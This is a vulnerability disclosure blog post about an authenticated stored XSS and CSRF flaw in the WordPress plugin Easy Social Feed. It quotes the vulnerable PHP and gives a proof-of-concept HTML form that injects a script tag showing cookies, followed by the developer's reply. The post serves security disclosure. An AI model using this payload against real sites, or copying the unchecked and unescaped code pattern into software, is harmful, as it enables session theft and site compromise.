19 Sep

Recently Closed WordPress Plugin with 100,000+ Installs Contains Vulnerability Hackers Would be Interested In

The plugin Easy Social Feed was closed on the WordPress Plugin Directory today. That is one of the 1,000 most popular plugins with 100,000+ installs, so we were alerted to its closure. While we were looking in to the plugin to see if there were any serious vulnerabilities we should be warning users of the plugin that also use our service, we found that it contains a type of vulnerability that hackers would likely be interested in exploiting, an authenticated persistent cross-site scripting (XSS) vulnerability. We found that immediately when we started looking into the plugin, so there may be more issues. Considering how insecure the code leading to this is, we would recommend only using this plugin if it has gone through a thorough security review.

In a reminder of the general insecurity of WordPress plugins that vulnerability appears unrelated to the cause of the closure, as there was a change made to the plugin since its closure which involved renaming the plugin from Easy Facebook Likebox and the Subversion message when doing that was “Facebook name changed because of compliance”.

The plugin registers the function efbl_save_access_token() to be accessible through WordPress’ AJAX functionality to anyone logged in to WordPress:

135
add_action( 'wp_ajax_efbl_save_access_token',  'efbl_save_access_token') ;

That function will update the value of the “efbl_access_token” WordPress option:

137
138
139
140
141
142
143
144
145
146
147
148
 function efbl_save_access_token(){
 
 	/* Saving ajax value in variable. */ 
	$value = $_POST['efbl_access_token'];
 
	// echo $value; die();
 
	 $efbl_save_access_token = update_option('efbl_access_token', $value);
 
	if(isset($efbl_save_access_token)) echo wp_send_json_success($value); die();
 
}

The code lacks a capabilities checks to limit access to that to the users intended to be able to do that, a nonce check to prevent cross-site request forgery (CSRF), and sanitization to restrict JavaScript code from being saved to value.

The saved value is output on the plugin’s main admin page without being escaped:

74
<tr><th scope="row"><?php _e('Access Token', 'easy-facebook-likebox'); ?></th><td><textarea id="efbl_access_token" name="efbl_access_token" rows="5" cols="50" placeholder=""><?php echo get_option('efbl_access_token', false); ?></textarea></td>

That all together is an authenticated persistent cross-site scripting (XSS) vulnerability, as someone logged in to WordPress could cause malicious JavaScript code to run on the website. Due to the lack of protection against CSRF, this could also be exploited that way as well.

WordPress Causes Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof concept will cause an alert box with any available cookies to be shown on the page /wp-admin/admin.php?page=easy-facebook-likebox, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=efbl_save_access_token" method="POST">
<input type="hidden" name="efbl_access_token" value='</textarea><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service you can suggest/vote for the plugins you use to receive a security review from us. You can start using the service for free when you sign up now.

2 thoughts on “Recently Closed WordPress Plugin with 100,000+ Installs Contains Vulnerability Hackers Would be Interested In

  1. Hi there,

    First of all thanks for writing the detailed post about our plugin. We are strongly committed to providing secure tools to enhance WP functionality.

    About the issues mentioned above, we have fixed those with the help of WordPress.org moderators already. The plugin is now approved again and available to be downloaded from the official page: https://wordpress.org/plugins/easy-facebook-likebox/

    The forum ticket you mentioned could not be found on our support forum. It would be great if you could share the exact link to that thread so we could comment on that too.

    Furthermore, we conducted a thorough security audit of the plugin to make sure we now vulnerabilities are left.

    Thanks again and we continue to make the plugin and WordPress powerful and secure.

    Best Regards,
    Danish Ali Malik
    Plugin Developer & CEO MaltaThemes

    • You haven’t even implemented all the needed security changes with the code mentioned in our post, so it seems hard to believe that a “thorough security audit of the plugin” has been done. For example, there still isn’t protection against cross-site request forgery (CSRF). Who were the WordPress.org moderators who told you the issues had been fixed?

Leave a Reply

Your email address will not be published. Required fields are marked *